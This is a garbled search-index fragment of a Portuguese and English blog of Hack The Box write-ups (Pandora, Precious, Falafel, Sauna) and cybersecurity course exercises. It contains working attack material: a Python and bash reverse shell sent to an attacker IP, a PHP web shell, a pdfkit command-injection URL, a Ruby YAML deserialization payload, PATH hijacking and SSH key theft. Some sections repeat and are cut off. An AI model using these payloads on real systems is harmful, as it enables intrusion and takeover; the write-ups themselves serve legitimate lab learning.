o backup, mas não usou o caminho completo para chamar a ferramenta. O que isto quer dizer?","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4. Escalada de privilégio","id":"88","title":"4. Escalada de privilégio"},"89":{"body":"Sabemos que o binário pandora_backup usa o tar. Onde se encontra isso? which tar\n# /usr/bin/tar Ok. Mas como é que o computador sabe que está ali o programa? Existe uma variável no shell que indica isso. Chama-se PATH: echo $PATH\n# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin É assim que o computador procura o programa, primeiro procura em \" /usr/local/sbin \", depois em \" /usr/local/bin \", e assim sucessivamente. Todas as pastas estão separadas pelos dois pontos \":\". Mas esta variável é apenas uma variável que o nosso shell actual têm, que facilmente se altera. export PATH=.:$PATH\necho $PATH\n# .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin Adicionamos um ponto \".\" à primeira pasta onde o computador vai procurar pelo programa. Significa que o computador vai procurar no diretório atual, e só depois nos outros diretórios. Assim, basta criar um executável de nome \" tar \" numa pasta qualquer, e executar o binário pandora*backup a partir da mesma posição, para o linux assumir que o \"**_tar***\" correto é o nosso próprio ficheiro \" tar \". E, já que o binário pandora_backup é SUID, e o seu proprietário é \" root \", significa que podemos escrever o que nos apetecer para que seja executado como \"** root **\". O mais fácil é chamar um bash novo... pathhijacknotwork","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1. Path Hijacking","id":"89","title":"4.1. Path Hijacking"},"9":{"body":"Resolução da máquina Sauna\nMáquina Easy (hackthebox.com)\nby JavaliMZ - 15/09/2021 1. Enumeração 1.1. Nmap 2. Web Server 3. AS-REP Roasting Attack 3.1. GetNPUsers.py 3.1.1. Pwn3d! 4. Primeiro pé na máquina 5. BloodHound 6. Escalada de Privilégios Como sempre, para qualquer PenTest, precisamos saber qual é o alvo. E o primeiro passo para isso é enumerar as portas da máquina! Uma das melhores e mais conhecidas ferramentas para enumerar as portas de uma máquina ou conjunte de máquina é o NMAP.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 1. Enumeração","id":"9","title":"1. Enumeração"},"90":{"body":"Sinceramente não sei, o que sei é que pelo ssh funcionou nesta máquina... Quando vi que não funcionou, procurei outra solução. criei uma chave id_rsa só para ter melhor conexão, conectei-me via SSH e o mesmo exploit funcionou... OK. Mistérios do Hacking! ssh-keygen\ncd /home/matt/.ssh\ncat id_rsa.pub > authorized_keys\ncat id_rsa\n# Copiar o conteúdo e colar num novo ficheiro no nosso kali\nkali@kali: > nano id_rsa\nkali@kali: > # Colar e gravar\nkali@kali: > chmod 600 id_rsa\nkali@kali: > ssh matt@10.10.11.136 -i id_rsa E agora, exatamente da mesma posição, alterando primeiro a variável PATH, optemos uma shell root root Agora já somos ROOT! Só falta as flags... Obrigador por lerem o writeup! Até à próxima Criadores da máquina: TheCyberGeek e dmw0ng","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1.1. Não funcionou! Porquê?","id":"90","title":"4.1.1. Não funcionou! Porquê?"},"91":{"body":"Writeup: Precious EASY machine (hackthebox.com) by Sylvain \"JavaliMZ\" Júlio - 30/12/2022 1. Introduction 2. Enumeration 3. Exploit - Remote Code Execution 4. Foothold 5. Privilege Escalation 6. Conclusion This write-up was created for two purposes. Normally, my write-ups are in Portuguese, but this time, I am writing in English because I am in a Cyber Security degree, and I need to complete an assignment for my English class during the 2022 winter break. The assignment was to summarize and explain three good articles about a topic I like, but I didn't know what to choose, so I decided to make the \"Precious\" machine from HTB and read some articles about the machine's vulnerabilities. Additionally, my teacher Maria's goal is to keep us interested and active in English, so I think I am respecting the overall rules =). For this time, I will not be discussing possible ways to find something or explaining different concepts that are not related to the machine, because it is already a lot of work to write and think in English. I will only be talking about the machine and the way to gain Administrator access to the machine. I will try to make analogies to the real world so that my teacher does not get lost. I will do my best.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 1. Introduction","id":"91","title":"1. Introduction"},"92":{"body":"Like every machine, we need to know how to access it. HTB gives us the IP address, but we don't know anything else. The IP address is like the address of a house, but we need to figure out which doors are open to get in. In a machine, these doors are called \"ports\" (in reference to the ports of ships that allow the arrival of goods from the outside world). There are always 65,535 ports in all machines. It's a lot!! But we don't need to knock on all the ports manually... For that, we have a tool called nmap . First, we need to confirm that we can reach the IP: ping -c 1 10.10.11.189 # PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data. # 64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=72.5 ms # --- 10.10.11.189 ping statistics --- # 1 packets transmitted, 1 received, 0% packet loss, time 0ms # rtt min/avg/max/mdev = 72.530/72.530/72.530/0.000 ms We send an ICMP packet, and the target machine sends it back. With the ping command (like ping pong), we know the machine is alive and we can start scanning the ports. We noticed one more thing with the ping command. The result gives us the TTL (Time to Live) which refers to the number of hops that a packet is allowed to make before it is discarded. When a packet travels through the Internet, every time it passes through a router, the router decrements this value by 1. For Windows, TTL starts at 128, and for Linux, TTL starts at 64. We can use this information to approximate the Operating System of the target machine. In this case, it is likely a Linux machine. It is important for future commands on the target machine. Enumeration all ports With the response of the nmap command, we know that on the target machine, we have 2 ports open: port 22 and port 80. Normally, port 22 is for an SSH server and port 80 is for a web server. The SSH server is a remote secure shell, used to connect my command line with the machine when we connect with the right credentials. We don't have any credentials, so we can't do anything here. We just have one more port, the web server. Before we start looking at the website, we can do a more powerful scan, using nmap as well. Enumeration targeted ports This new command gives us more information. The web server redirects us to http://precious.htb/ , but that website doesn't exist. We know the site is on this IP, but the web server wants us to access it through the URL http://precious.htb/ . We can do that by telling our machine that the URL http://precious.htb/ corresponds to the IP of the target machine. For that, we can edit the file /etc/hosts as a root (super user) and add the line: echo \"10.10.11.189\\tprecious.htb\" >> /etc/hosts Now, we can access the website: Website It is a website that converts websites to PDF. We can do some basic testing to get more information about the website. We can try to serve a web server and enter the new URL to see what happens: python -m http.server 80 This is a really simple web server, but it is enough for us. We can enter our URL (http://10.10.14.144/) in the field on the website and see what happens: pdf Download We can see that the website download a PDF file. Visually, it is just a simples PDF. But if we use a tool like exiftool to see the metadata of the PDF, we can see more information... pdf Metadata","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 2. Enumeration","id":"92","title":"2. Enumeration"},"93":{"body":"We can see that the PDF Creator is a tool called pdfkit v0.8.6 . This version is vulnerable and we can get a RCE (Remote Code Execution). We can see more about this vulnerability here . To exploit this vulnerability, it's simple! We just need to add to the URL a parameter called ?user and give a \"space\" but encoded (a space like %20 is the URL code for a space of the space bar). Next, we need to concatenate a bash code (because it is a Linux Machine) with the special symbol ` (a code between 2 of this symbol in bash get execute before the rest of the command outside the symbols) around the code for execute it like if we are in a command line shell. The command we will try is a single ping to our machine to test if we really got remote code execution. The final URL will be: http://10.10.14.144/?name=%20ping -c 1 10.10.14.144 # Set up a listener to capture the ping\nsudo tcpdump -i tun0 icmp We got a ping back! I also create a tiny script in Python to have a fast way to try remote code execution: import requests while True: cmd = input(\"[fAkeSh3ll ~] > \") data = { 'url': f\"http://10.10.14.144/?name=%20`{cmd}`\", } response = requests.post('**http://precious.htb/**', data=data, verify=False) Now, we can try to get a reverse shell. A reverse shell is a type of connection to get a shell on the target machine. But the way we got this is tricky. We need to find a way for the target machine to send its own shell to our machine. It's like trying to enter a house, and we need to find a way for the house to open its own door to give us access... The command that worked on the machine was this: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")' So, if we want to do that on the Website, we need to send this url: http://10.10.14.144/?name=%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.144\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"/bin/bash\")'` The query needs to be that exact and we need to adapt the IP and the port. We also need to set up a listener to capture the shell. Reverse Shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 3. Exploit - Remote Code Execution","id":"93","title":"3. Exploit - Remote Code Execution"},"94":{"body":"We are in the machine. But we have low privilege. We need more!! HUAAHAHA!! Digging through the folders and files, we'll find credentials for a service used by the user henry. henry credentials And like 99,9% of people, we can try if the user henry has the same password for is user account. And it works! su henry\n# Q3c1AqGHtoI0aXAYFH","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 4. Foothold","id":"94","title":"4. Foothold"},"95":{"body":"We got a little more privileges. But it is not enough!! WE NEED MORE AGAIN!!!! Sudo permissions The sudo command is a command to execute another command as root privileges. And sudo -l inform us that the user henry can execute /usr/bin/ruby /opt/update_dependencies.rb as root. When we examine the update_dependencies.rb file, we realize that the script use \"YAML.load\" to load that file. That means the file will be deserialized. deserialization is like converting the syntax of the content of the file into object in ruby (in this case). But like in a lot of languages, deserialization can be dangerous... And in this case, we can create our own YAML file to execute a command as root. We can find a good article here but for python, and here in ruby. But the code we will use is here . Code execution as root We just create a file caller test.txt for confirm that the code is working. And it works! We can execute command as root. Now, we need a way to get root shell. They are so many ways, but I like this one: I will change permissions on the /usr/bin/bash program to execute it as the owner of the program. The owner of the program is root. So, if we execute the program, we will get a root shell. The code we will use is: ---\n- !ruby/object:Gem::Installer i: x\n- !ruby/object:Gem::SpecFetcher i: y\n- !ruby/object:Gem::Requirement requirements: !ruby/object:Gem::Package::TarReader io: &1 !ruby/object:Net::BufferedIO io: &1 !ruby/object:Gem::Package::TarReader::Entry read: 0 header: \"abc\" debug_output: &1 !ruby/object:Net::WriteAdapter socket: &1 !ruby/object:Gem::RequestSet sets: !ruby/object:Net::WriteAdapter socket: !ruby/module 'Kernel' method_id: :system git_set: chmod +s /usr/bin/bash method_id: :resolve Now, we just need to execute the sudo command, and the bash program will be altered. And we can execute bash as root with a special flag: sudo /usr/bin/ruby /opt/update_dependencies.rb\nbash -p Root shell","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 5. Privilege Escalation","id":"95","title":"5. Privilege Escalation"},"96":{"body":"This machine was easy to get in, and the privilege escalation was a little more complex. But it was a good machine to learn more about Ruby and YAML. I hope you enjoyed this writeup. Fun fact: the machine is called Precious because it is a reference to the ruby programming language. Both vulnerabilities are related to the ruby language.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 6. Conclusion","id":"96","title":"6. Conclusion"},"97":{"body":"Resolução da máquina Falafel 1.0.0.1. Máquina HARD (hackthebox.com) 1.0.0.2. by JavaliMZ - 09/09/2021 1. Enumeração 1.1. Nmap 2. WebSite 2.1. Fuzzing the website 2.2. SQLi 2.3. RCE 2.3.1. Reverse Shell 3. PrivEsc 3.1. Group video 3.2. Group disk 3.3. debugfs","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 1. Enumeração","id":"97","title":"1. Enumeração"},"98":{"body":"Na fase de enumeração, a ferramenta nmap tem um lugar imprescindível!! É possível enumerar portas manualmente, com um simples for loop e um echo para o /dev/tcp/
\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> Resumindo: O ficheiro tem obrigatoriamente que terminar por \".png\" O servidor apache interpreta código php O wget da página de upload corta os nomes muito grandes a partir do caractere 236. Posto isso, se renomearmos o nosso ficheiro malicioso por um arquivo com (232 carateres + .php + .png), o nome do arquivo irá ser cortado a partir do 236º caracter e ficará assim: (232 chars + .php) cp shell.php $(msf-pattern_create -l 232).php.png\n# Agora que temos o número exato de caracteres, poderíamos ter chamado o ficheiro com 232 \"A\"... mas na altura não me lembrei e o nome está um pouco agressivo para os olhos! Resultado: http://10.10.14.17/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php.png uploaded web shell Note the path of the file and go to the webshell Ok, conseguimos enviar um arquivo, que aparentemente agora está na máquina alvo com a extensão .php. E onde está? Bem, no resultado o comando wget, vemos que antes de fazer o download do arquivo, fez um cd para uma pasta. E sabemos ainda que existe uma rota uploads... Ao juntar tudo, podemos tentar ir para a seguinte url(no meu caso): http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=whoami whoami web shell Temos Execução de código remoto!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3. RCE","id":"103","title":"2.3. RCE"},"104":{"body":"A forma mais fácil de ter um reverse shell sem ter muitos problemas com caracteres especiais e assim é partilhar um ficheiro com o código do reverse shell lá dentro, para depois fazer um curl e pipeá-lo com um bash (sim pipeá-lo, neste blog, este verbo existe xD) Criei então um ficheiro com o nome rev.html contendo o seguinte código: #!/bin/bash bash -i >& /dev/tcp/10.10.14.17/443 0>&1 Partilhe então um servidor http com este ficheiro, para que através do RCE, poder dar um curl ao ficheiro, e pipeá-lo com bash sudo python3 -m http.server 80 # On one terminal\nsudo nc -lvnp 443 # On another one http://10.10.10.73/uploads/0909-2054_bd1a63d419ed6bf6/Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6A.php?cmd=curl%20http://10.10.14.17/rev.html|bash","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 2.3.1. Reverse Shell","id":"104","title":"2.3.1. Reverse Shell"},"105":{"body":"Já dentro da máquina, ao vasculhar os ficheiros, pode-se encontrar credenciais em /var/www/html/connection.php (remote) www-data@falafel:/var/www/html$ cat connection.php\n Estas credenciais server para fazer login ao MySQL, mas se reutilizar-mos as credenciais para fazer login por ssh, vemos que as credenciais são válidas!","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3. PrivEsc","id":"105","title":"3. PrivEsc"},"106":{"body":"Esta máquina é um CaptureTheFlag LOL... O próximo passo é completamente irrealista, mas não deixa de ser interessante. Esta máquina não tem mais vulnerabilidades. Ok, então onde estão as credenciais do usuário \"yossi\"?! Estão no ecrã... com o commando \"w\" podemos ver que o yossi está actualmente logado fisicamente na máquina w\n#> 22:31:32 up 10:23, 2 users, load average: 0.00, 0.00, 0.00\n#> USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT\n#> yossi tty1 12:08 10:22m 0.06s 0.06s -bash\n#> moshe pts/1 10.10.14.17 22:06 0.00s 0.06s 0.00s w O usuário com o qual estamos neste momento (moshe) está no grupo \"video\". Os usuário deste grupo pode ver o que está a ser transmitido para o ecrã. E para tirar uma captura de ecrã sem nenhum recurso adicional, pode-se ir à fonte mesmo. Isto é, capturar o que está em /dev/fb0 com um simples cat. Para ler este arquivo (que vem em formato RAW), temos de saber as dimenções da tela, pois este formato não diz nada sobre dimenções, apenas escreve todos os dados numa linha só e \"tá feito\". As dimenções actuais do ecrã estão sempre definidas em /sy/class/graphics/fb0/virtual_size cat /dev/fb0 > /tmp/screen.raw\ncat /sys/class/graphics/fb0/virtual_size\n#> 1176,885 Recupere a captura de ecrã para o kali nc 10.10.14.17 443 < /tmp/screen.raw # Target Machine\nnc -lvnp 443 > screen.raw # kali Machine Abrir o ficheiro com ajuda do GIMP, definido manualmente que este ficheiro é um ficheiro RAW com 1176,885 de dimenções... opennig image raw format with GIMP Select size of raw image Password yossi Entre agora por ssh com o usuário yossi e a sua credencial (que de passagem só se vê porque o yossi errou primeiro ao introduzi-la e por \"grande sorte\" ainda está a vista na tela looooool)","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.1. Group video","id":"106","title":"3.1. Group video"},"107":{"body":"for group in $(groups); do echo -e \"\\n\\n\\n[*] Archive with group $group permition:\\n\"; find / -group $group 2>/dev/null; done Este commando permite-nos enumerar todos os ficheiro no qual pertence a cada grupo no qual está o usuário. E assim, vemos que o usuário yossio em que estamos logados, tem permissões através do grupo \"disk\" de leitura e escritura sobre /dev/sda1 e muito mais... Este /dev/sda1 é muito simplesmente o disco rígido na qual está instalado o prórpio sistema operativo. Mas não dá para abrir assim... fdisk -l\n#> Disk /dev/sda: 8 GiB, 8589934592 bytes, 16777216 sectors\n#> Units: sectors of 1 * 512 = 512 bytes\n#> Sector size (logical/physical): 512 bytes / 512 bytes\n#> I/O size (minimum/optimal): 512 bytes / 512 bytes\n#> Disklabel type: dos\n#> Disk identifier: 0x01590ad6\n#>\n#> Device Boot Start End Sectors Size Id Type\n#> /dev/sda1 * 2048 14680063 14678016 7G 83 Linux\n#> /dev/sda2 14682110 16775167 2093058 1022M 5 Extended\n#> /dev/sda5 14682112 16775167 2093056 1022M 82 Linux swap / Solaris ll /dev/sda1\n#> brw-rw---- 1 root disk 8, 1 Sep 9 12:08 /dev/sda1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.2. Group disk","id":"107","title":"3.2. Group disk"},"108":{"body":"Com a ajuda da ferramente debugfs (ext2/ext3/ext4 file system debugger). Podemos ver ou manipular uma partição, um disco ou o seu conteúdo. Podemos assim facilemente ver a flag root.txt, mas a nós o que nos interessa é vir a ser root! Por sorte, em /root/.ssh existem keys para entrar por ssh, já autorizadas... nem percisamos de fazer mais nada. É só copiar e usar a id_rsa: debugfs /dev/sda1\ndebugfs: cd /root/.ssh\ndebugfs: cat id_rsa # copy the content...\n# Exit the debugfs cd /tmp\nnano id_rsa # paste the content...\nchmod 600 id_rsa\nssh -i id_rsa root@localhost cat /home/moshe/user.txt\n#> c866575ed5999e1a878b1494fcb1f9d3\ncat /root/root.txt\n#> 23b79200448c62ffd6f8f2091c001fa1","breadcrumbs":"Máquinas Linux » HTB-Linux-Hard-Falafel » 3.3. debugfs","id":"108","title":"3.3. debugfs"},"109":{"body":"Sejam bem-vindos! Neste espaço, irei partilhar alguns dos trabalhos que realizarei durante o meu curso de Cibersegurança, em português, como é habitual. Espero que possam acompanhar e aprender comigo. Sylvain \"JavaliMZ\" Júlio","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Trabalhos do curso de Cibersegurança","id":"109","title":"Trabalhos do curso de Cibersegurança"},"11":{"body":"Web Server potenciais users A passear pelo site, não se vê nada de interessante a não ser a página about.html que poderá ter potenciais usuários de uma eventual empresa (Já que é um Active directory ou um Domain Controller) Numa empresa, os usuários costumam ser identificados por primeira letra dos primeiros nomes, e ultimo nome completo. junto, ou separado por um ponto. Isto é extremamente comum... Por isso, vamos extrair esse potenciais usuários para um ficheiro, e daí fazer um arquivo com usernames. Web Server get users cat users-full-name\n#> Fergus Smith\n#> Hugo Bear\n#> Steven Kerb\n#> Shaun Coins\n#> Bowie Taylor\n#> Sophie Driver cat users-full-name | tr '[A-Z]' '[a-z]'\n#> fergus smith\n#> hugo bear\n#> steven kerb\n#> shaun coins\n#> bowie taylor\n#> sophie driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}'\n#> fsmith\n#> hbear\n#> skerb\n#> scoins\n#> btaylor\n#> sdriver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}'\n#> f.smith\n#> h.bear\n#> s.kerb\n#> s.coins\n#> b.taylor\n#> s.driver cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) $2}' > users cat users-full-name | tr '[A-Z]' '[a-z]' | awk '{print substr ($1,0,1) \".\" $2}' >> users Temos agora uma lista de usuários potenciais para efectuar a próxima tentativa de attack. AS-REP Roasting Attack!.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 2. Web Server","id":"11","title":"2. Web Server"},"110":{"body":"T02 - Acesso Remoto (SSH) 1. Instalação do OpenSSH do cliente 2. Instalação do OpenSSH do lado do servidor 3. Ligação entre o cliente e o servidor 4. Execução de comandos no servidor 5. Criação de um utilizador no servidor 6. Acesso ao servidor através do utilizador criado 7. Acesso de utilizadores guest por parte dos camaradas de curso 8. Mudar o porto lógico de acesso do servidor 9. Verificação do acesso ao servidor SSH 10. Conclusão Para este trabalho, iremos usar o Arch(Linux) por WSL2 do Windows. Para instalar o OpenSSH, basta executar o seguinte comando: yay openssh # O Yay é um AUR Helper. É necessário selecionar a opção respetiva do OpenSSH para instalá-lo. Neste momento, já se pode usar o comando ssh enquanto cliente para nos conectarmos a um servidor SSH, sem mais configurações.","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 1. Instalação do OpenSSH do cliente","id":"110","title":"1. Instalação do OpenSSH do cliente"},"111":{"body":"O OpenSSH no sistema RockyOS vem instalado por defeito. Inclusive, o servidor inicia automaticamente com o sistema. No entanto, caso o software não estiver instalado, basta executar o seguinte comando: sudo yum install openssh Além de o instalar, será necessário ativar o serviço do OpenSSH. Para isso, basta executar o seguinte comando: systemctl start sshd # Inicia o serviço do OpenSSH\nsystemctl enable sshd # Indica ao sistema para iniciar o serviço do OpenSSH sempre que o sistema iniciar","breadcrumbs":"Trabalhos do Curso de Ciber Segurança » Acesso Remoto (SSH) » 2. Instalação do OpenSSH do lado do servidor","id":"111","title":"2. Instalação do OpenSSH do lado do servidor"},"112":{"body":"Por fim, para ligar o cliente ao servidor, basta executar o seguinte comando: # Do lado do cliente (Arch)\nssh javali@192.168.56.101 # ssh
\" . shell_exec($_REQUEST['cmd']) . \"\";\n?> # Para diretamente ter o reverse shell:\n& /dev/tcp/10.10.14.230/443 0>&1'\");?> # Executar o nc em modo de escuta para receber o shell:\nkali@kali: > nc -lvnp 443 # Em outra consola, executar o ficheiro que \"uploadamos\" (Eu escolhi chamar o ficheiro de shell.php...)\nkali@kali: > curl http://localhost/pandora_console/images/shell.php","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6. RCE com usuário matt","id":"87","title":"3.6. RCE com usuário matt"},"88":{"body":"script /dev/null -c bash\nexport TERM=xterm\nexport SHELL=bash # Ctrl + Z\nstty raw -echo; fg\nreset\nstty rows 40 columns 170 # Tem corresponder ao vosso ecrã (stty -a numa consola do Kali)","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 3.6.1. Estabilizar o Reverse Shell","id":"88","title":"3.6.1. Estabilizar o Reverse Shell"},"89":{"body":"Agora que somos matt, podemos analisar o tal binário pandora_backup tar No meio desses caracteres todos, podemos ver um clienttar -cvf /root/... Este parece ser um simples comando \" tar \" que se colou a uma palavra \"client\" por não haver caracteres ASCII pelo meio. Significa que, quem fez o binário, aparentemente, usou um simples comando \" tar \" para fazer o backup, mas não usou o caminho completo para chamar a ferramenta. O que isto quer dizer?","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4. Escalada de privilégio","id":"89","title":"4. Escalada de privilégio"},"9":{"body":"Resolução da máquina Sauna\nMáquina Easy (hackthebox.com)\nby JavaliMZ - 15/09/2021 1. Enumeração 1.1. Nmap 2. Web Server 3. AS-REP Roasting Attack 3.1. GetNPUsers.py 3.1.1. Pwn3d! 4. Primeiro pé na máquina 5. BloodHound 6. Escalada de Privilégios Como sempre, para qualquer PenTest, precisamos saber qual é o alvo. E o primeiro passo para isso é enumerar as portas da máquina! Uma das melhores e mais conhecidas ferramentas para enumerar as portas de uma máquina ou conjunte de máquina é o NMAP.","breadcrumbs":"Máquinas Windows » HTB-Windows-Easy-Sauna » 1. Enumeração","id":"9","title":"1. Enumeração"},"90":{"body":"Sabemos que o binário pandora_backup usa o tar. Onde se encontra isso? which tar\n# /usr/bin/tar Ok. Mas como é que o computador sabe que está ali o programa? Existe uma variável no shell que indica isso. Chama-se PATH: echo $PATH\n# /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin É assim que o computador procura o programa, primeiro procura em \" /usr/local/sbin \", depois em \" /usr/local/bin \", e assim sucessivamente. Todas as pastas estão separadas pelos dois pontos \":\". Mas esta variável é apenas uma variável que o nosso shell actual têm, que facilmente se altera. export PATH=.:$PATH\necho $PATH\n# .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin Adicionamos um ponto \".\" à primeira pasta onde o computador vai procurar pelo programa. Significa que o computador vai procurar no diretório atual, e só depois nos outros diretórios. Assim, basta criar um executável de nome \" tar \" numa pasta qualquer, e executar o binário pandora*backup a partir da mesma posição, para o linux assumir que o \"**_tar***\" correto é o nosso próprio ficheiro \" tar \". E, já que o binário pandora_backup é SUID, e o seu proprietário é \" root \", significa que podemos escrever o que nos apetecer para que seja executado como \"** root **\". O mais fácil é chamar um bash novo... pathhijacknotwork","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1. Path Hijacking","id":"90","title":"4.1. Path Hijacking"},"91":{"body":"Sinceramente não sei, o que sei é que pelo ssh funcionou nesta máquina... Quando vi que não funcionou, procurei outra solução. criei uma chave id_rsa só para ter melhor conexão, conectei-me via SSH e o mesmo exploit funcionou... OK. Mistérios do Hacking! ssh-keygen\ncd /home/matt/.ssh\ncat id_rsa.pub > authorized_keys\ncat id_rsa\n# Copiar o conteúdo e colar num novo ficheiro no nosso kali\nkali@kali: > nano id_rsa\nkali@kali: > # Colar e gravar\nkali@kali: > chmod 600 id_rsa\nkali@kali: > ssh matt@10.10.11.136 -i id_rsa E agora, exatamente da mesma posição, alterando primeiro a variável PATH, optemos uma shell root root Agora já somos ROOT! Só falta as flags... Obrigador por lerem o writeup! Até à próxima Criadores da máquina: TheCyberGeek e dmw0ng","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Pandora » 4.1.1. Não funcionou! Porquê?","id":"91","title":"4.1.1. Não funcionou! Porquê?"},"92":{"body":"Writeup: Precious EASY machine (hackthebox.com) by Sylvain \"JavaliMZ\" Júlio - 30/12/2022 1. Introduction 2. Enumeration 3. Exploit - Remote Code Execution 4. Foothold 5. Privilege Escalation 6. Conclusion This write-up was created for two purposes. Normally, my write-ups are in Portuguese, but this time, I am writing in English because I am in a Cyber Security degree, and I need to complete an assignment for my English class during the 2022 winter break. The assignment was to summarize and explain three good articles about a topic I like, but I didn't know what to choose, so I decided to make the \"Precious\" machine from HTB and read some articles about the machine's vulnerabilities. Additionally, my teacher Maria's goal is to keep us interested and active in English, so I think I am respecting the overall rules =). For this time, I will not be discussing possible ways to find something or explaining different concepts that are not related to the machine, because it is already a lot of work to write and think in English. I will only be talking about the machine and the way to gain Administrator access to the machine. I will try to make analogies to the real world so that my teacher does not get lost. I will do my best.","breadcrumbs":"Máquinas Linux » HTB-Linux-Easy-Precious » 1. Introduction","id":"92","title":"1. Introduction"},"93":{"body":"Like every machine, we need to know how to access it. HTB gives us the IP address, but we don't know anything else. The IP address is like the address of a house, but we need to figure out which doors are open to get in. In a machine, these doors are called \"ports\" (in reference to the ports of ships that allow the arrival of goods from the outside world). There are always 65,535 ports in all machines. It's a lot!! But we don't need to knock on all the ports manually... For that, we have a tool called nmap . First, we need to confirm that we can reach the IP: ping -c 1 10.10.11.189 # PING 10.10.11.189 (10.10.11.189) 56(84) bytes of data. # 64 bytes from 10.10.11.189: icmp_seq=1 ttl=63 time=72.5 ms # --- 10.10.11.189 ping statistics --- # 1 packets transmitted, 1 received, 0% packet loss, time 0ms # rtt min/avg/max/mdev = 72.530/72.530/72.530/0.000 ms We send an ICMP packet, and the target machine sends it back. With the ping command (like ping pong), we know the machine is alive and we can start scanning the ports. We noticed one more thing with the ping command. The result gives us the TTL (Time to Live) which refers to the number of hops that a packet is allowed to make before it is discarded. When a packet travels through the Internet, every time it passes through a router, the router decrements this value by 1. For Windows, TTL starts at 128, and for Linux, TTL starts at 64. We can use this information to approximate the Operating System of the target machine. In this case, it is likely a Linux machine. It is important for future commands on the target machine. Enumeration all ports With the response of the nmap command, we know that on the target machine, we have 2 ports open: port 22 and port 80. Normally, port 22 is for an SSH server and port 80 is for a web server. The SSH server is a remote secure shell, used to connect my command line with the machine when we connect with the right credentials. We don't have any credentials, so we can't do anything here. We just have one more port, the web server. Before we start looking at the website, we can do a more powerful scan, using nmap as well. Enumeration targeted ports This new command gives us more information. The web server redirects us to http://precious.htb/ , but that website doesn't exist. We know the site is on this IP, but the web server wants us to access it through the URL http://precious.htb/ . We can do that by telling our machine that the URL http://precious.htb/ corresponds to the IP of the target machine. For that, we can edit the file /etc/hosts as a root (super user) and add the line: echo 